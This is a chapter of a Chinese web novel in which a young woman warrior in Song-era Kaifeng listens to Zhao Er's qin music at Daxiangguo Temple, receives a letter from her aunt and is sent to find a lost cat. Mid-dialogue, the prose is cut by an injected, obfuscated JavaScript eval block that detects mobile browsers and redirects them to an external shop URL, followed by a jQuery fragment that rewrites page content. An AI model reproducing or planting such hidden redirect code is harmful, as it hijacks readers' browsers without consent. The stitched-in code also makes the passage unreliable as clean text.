赵二看卷宗的时候,默许了少侠这样做。那一份卷宗就跟其他的案子一起,暂时束之高阁,解开了一部分的谜底,也就此掩埋一部分真相。
作恶之人,一定会受到法律的制裁。
天网恢恢,疏而不漏,只不过,有时候需要很多人的努力,才能等到真正云开见月的一天。
估计是最近好事做得多,时来运转,少侠运气变好了,闲来无事巡街,总能在街角捡到好东西,汝窑的茶具、徽州的砚台、大容量的铜饮水壶、书架、铜镜、铜脸盆、烛台,还有一套崭新的梨花木桌椅,扔在她每天巡街的犄角旮旯。
命运眷顾,总能偏偏让她碰见好事。
啧,开封府就是富得流油,好端端的家具,扔在街上,浪费。
她就一件件往小阁楼里搬,喜滋滋的,把她的狗窝收拾的井井有条,终于像模像样,有了人住的样子。
“大人,为什么不让我们直接搬到小阁楼?”官差不解地挠头。
“她力气大的很。”
一日,巡街路过大相国寺,少侠听到水路法会,就凑上前去。
寺内钟声震荡,高僧吟诵经文,为保家卫国的战士们超度,为国祈福。古树参天,五龙吐水,绿水碧波中成百上千红色的锦鲤游曳,是亲人们怀念家人放生祈福的放生鱼。庄严肃穆的殿内,传来古琴幽然之声,龙吟古琴音色荡气回肠,玄音入耳,熨帖入肺腑。
“好琴。”
方丈双手合十,递给少侠一根红丝带,“姑娘一看就有佛缘,天地千万里,俯仰一世不过一瞬。云中弦歌度,星移空殿回,解厄铃中系,琴律度三灾。每逢法会,总能有幸听到晋大侠的琴声,姑娘也来祈福吗?不妨也系一根红丝带。”
“多谢。”
足下凌空,轻功一点,少侠攀上参天古树,轻巧地系上红丝带。
少侠蹲在树上,看到莲花高台上坐着一位青铜天王面具,身披鹤氅的大侠,只觉得抚琴的身影有些眼熟。
赵二在帷幕之下,弹琴的余光,瞥到那个上蹿下跳的身影。
前来听琴的人很多,有国子监学子专门翘课来听。
“今日有耳福,能听到晋大侠的琴声,失传已久的《广陵散》、《度虚》真是天籁之音,绕梁三日,袅袅不绝于耳,胜读十年书啊。”
“是啊,如听仙乐耳暂明,有宽慰治愈之效,不觉悲伤,让人心如止水,如临仙境。传闻有消灾祈福之效,我听人说每逢晋大侠弹琴这日,来这大相国寺许愿可灵验了。”
“那可一定要一试,待我兄台二人金榜题名时,定来为佛像塑金身。”
“走。杨砺兄先请。”
“易简贤弟请,你我二人不必相让,有朝一日当真为官,为天下太平,百姓安居乐业出一份微薄之力才是。”
重莲不染尘,莲叶香风起阵法,琴音清心,让人倍感清凉。
少侠打了个哈欠,寻了个树荫凉的高处,坐在树枝上,儿时听过这首曲子,翘着腿,跟着琴声轻声哼唱。
听到少侠的吟唱,晋公子的琴,停顿了一拍,望向少侠的方向,继续弹奏,大侠的琴音与少侠的哼唱,也彼此应和出一种高山流水的高远。
应律之人,竟是她。
总感觉有一股视线盯着自己,少侠第六感一向很准。
“小贼,休跑!”
少侠本想多欣赏一会,她从高处看到拥挤的人群中有窃贼,一个翻身就捉拿小蟊贼去了。
将小盗贼扭送回了开封府,遇到周管家拿了一大包新被褥、腰牌、新制官服,碰巧遇见,她赶紧上前搭把手。
“这是江姑娘的腰牌,被褥都是绣娘刚缝好的,今年的新棉花,可暖和了。只不过官服是统一的尺码,可能有点大,回头老朽再找绣娘专门定做一身,江姑娘先凑合穿。恭喜江姑娘,以后就是我们开封府的一员了。”
“多谢周伯,以后请前辈您多多指点。”少侠一听,腰板挺直了鞠了一躬,脸色害羞,不好意思地挠后脑勺。
少侠登上阁楼,擦擦手掌得到汗,美滋滋地换上制服,试了大小,刚好合适,舍不得穿又脱下了,用手抚平皱褶,仔细叠好。拿起刻了她名字的腰牌,翻来覆去的摸了好几遍,腰牌上的笔划格外的好看。有了编制,寒姨知道了一定会夸她出息了。
她老家清河县,考上公务员,可是烧高香的大事。
少侠昨夜没闲着,教训了强娶良家为妾的官吏,又收拾了鬼市拐人的恶徒,故而今早起得晚。
日上三竿,第一件事,却是先将那些府尹小画卖钱,一张张收拾半天,卷成厚厚一卷,拿去给漱玉书阁的掌柜,不多,换了十两银子。
万事开头难,开了头就好办。
经常来大相国寺听琴,少侠跟寺里僧人混熟了,顺手帮一灯大师解决了来寻仇的人,少侠感叹,恩恩怨怨几十年,有多少人能放下屠刀,立地成佛。
以前是赵二躲着少侠,现在风水轮流转,少侠整天躲着赵二。
趁着心情好,少侠又去相国寺闲逛,想去碰碰运气听琴,又遇到府尹,赵二假装路过,“少侠,也有心事?需要求神拜佛?”
少侠双手合十,虔诚地祈求,快点让狗官从她眼前消失。
赵二原本是不笃信神佛的,但是看她祈求的诚恳,猜测是为了寻找亲人,嘴上说出口的却不是安慰人的话,“少侠,与其求这些泥胎石塑,倒不如求我。”
少侠心中默念,不生气,不生气,气坏身子,坏人如意。
“少侠,发奖金了,听说你没去领。”
“怎么,又想要我帮你干活,然后拿纸风筝糊弄我?上一次当还不行,还得被你耍的团团转,天底下就你聪明,全把别人当傻子。”
“少侠,难道不明白,那纸风筝……”
“大人,我是赌坊案,花了你一点点经费,但是你也不要这么抠门好么,就算我不是下属,盟友也得利益均分吧?我可帮你破了大大小小不少案子,没了三教九流捣乱,你们开封府的商户收益蒸蒸日上,今年各家各户的税金至少翻一倍,大人,你最好算个明白账。”
“少侠,你可是还在为盟友之事,生我的气。”
“不敢,我没生气。”
“少侠,今日来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408548|200614||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,是为了听琴?”
“怎么,妨碍大人执行公务,还是家国大事了?那我腾个地儿,您办大事要紧。”少侠转身就要走,想起今天要去书阁拿话本子的分红。
“少侠,且慢,不如听完琴曲再走也不迟。”
“相国寺常来弹琴的贵人,竟然是你。”
赵二从怀里掏出一封信,“魏夫人与你寒姨是旧相识,托我带给你。”
少侠拿着信,手颤抖着打开。
“臭丫头,好好的,等我回去。”寒姨熟悉的笔迹,寒姨骂咧咧的语气,少侠将信贴在胸口,久久不能平复。
寒姨还活着,她那么神通广大,就知道她一定会没事。
“少侠若是喜欢这份礼物,今日来想听琴,是我的荣幸,权当是晋某赔罪,还望少侠大人不记小人过。”
赵二在隔壁弹琴,少侠喝着茶听琴,掏出随身带的晒干的五香水煮花生,翘着二郎腿,晃悠着随着琴声旋律而动,惬意得很。
两个人隔着一道半透光的竹帘,但总算是开诚布公,心平气和的说了一次话。关系缓和了许多,少侠又重新出入开封府。
姗姗来迟,回来自己给点了卯,转了一圈,反正没有安排她的任务。
那位大人平日都待在开封府,不需要她保护,其他官差都有要忙的事,没人搭理她,少侠就自己去巡街,磨蹭到快吃午饭的时候,饿的咕噜响,勒紧裤腰带,开饭的点回来就去厨房帮忙。
听周伯说,为了节省开支,府尹每天都在开封府食堂吃,从不开小灶,所以官衙的大家伙,照例都在等府尹忙完一起吃。
周伯做好了菜,让她去问问府尹,什么时候开饭,她探头探脑,拿着碗,溜达到府尹窗下,去请府尹吃饭。
听到府尹在和其他官员议事,不敢打扰,她蹲下偷听了七七八八,城中有多人离奇中了花毒,神志不清,胡乱伤人,少侠默默记在心里,想着帮上些忙。
一个揉皱的纸球打在脑袋上,正中眉心。
“少侠,来迟了,要罚俸禄的。”紫袍赵二谈事的时候,撇了一眼窗下。
“我忙了一早上呢!”她手扒在窗户下,不服气。
“我这有件任务,帮我跑一趟。城东梁河边猫舍的橘猫丢了,你帮忙去寻。”赵二吩咐完,继续跟官员讨论机密要事。
“开封府除了人,还管猫的事?”她再反应迟钝,也觉出味儿来,这分明是嫌弃她听墙角,有意找茬,支开她。
“找不到猫,不许吃饭。”
“去就去。”少侠饿着肚子,留下碗。
不让吃饭,还不准吃点心麼,她临走顺手牵羊,拿了一块府尹桌上的点心,这次是霜降柿子饼,硬绉绉的柿子饼,晒干后有嚼劲,甜中带涩,不像早市卖溏心火晶柿子的那么好吃。
官员们正在议事,被少侠打断,彼此会心一笑,看着二人。
咱们这位大人,冷面府尹,天子亲弟,也有宠溺一个女子的时候,竟然将女子带到府衙来玩闹,不成体统。
赵二见她磨磨蹭蹭,只好出言催促。
“少侠,早去早回。”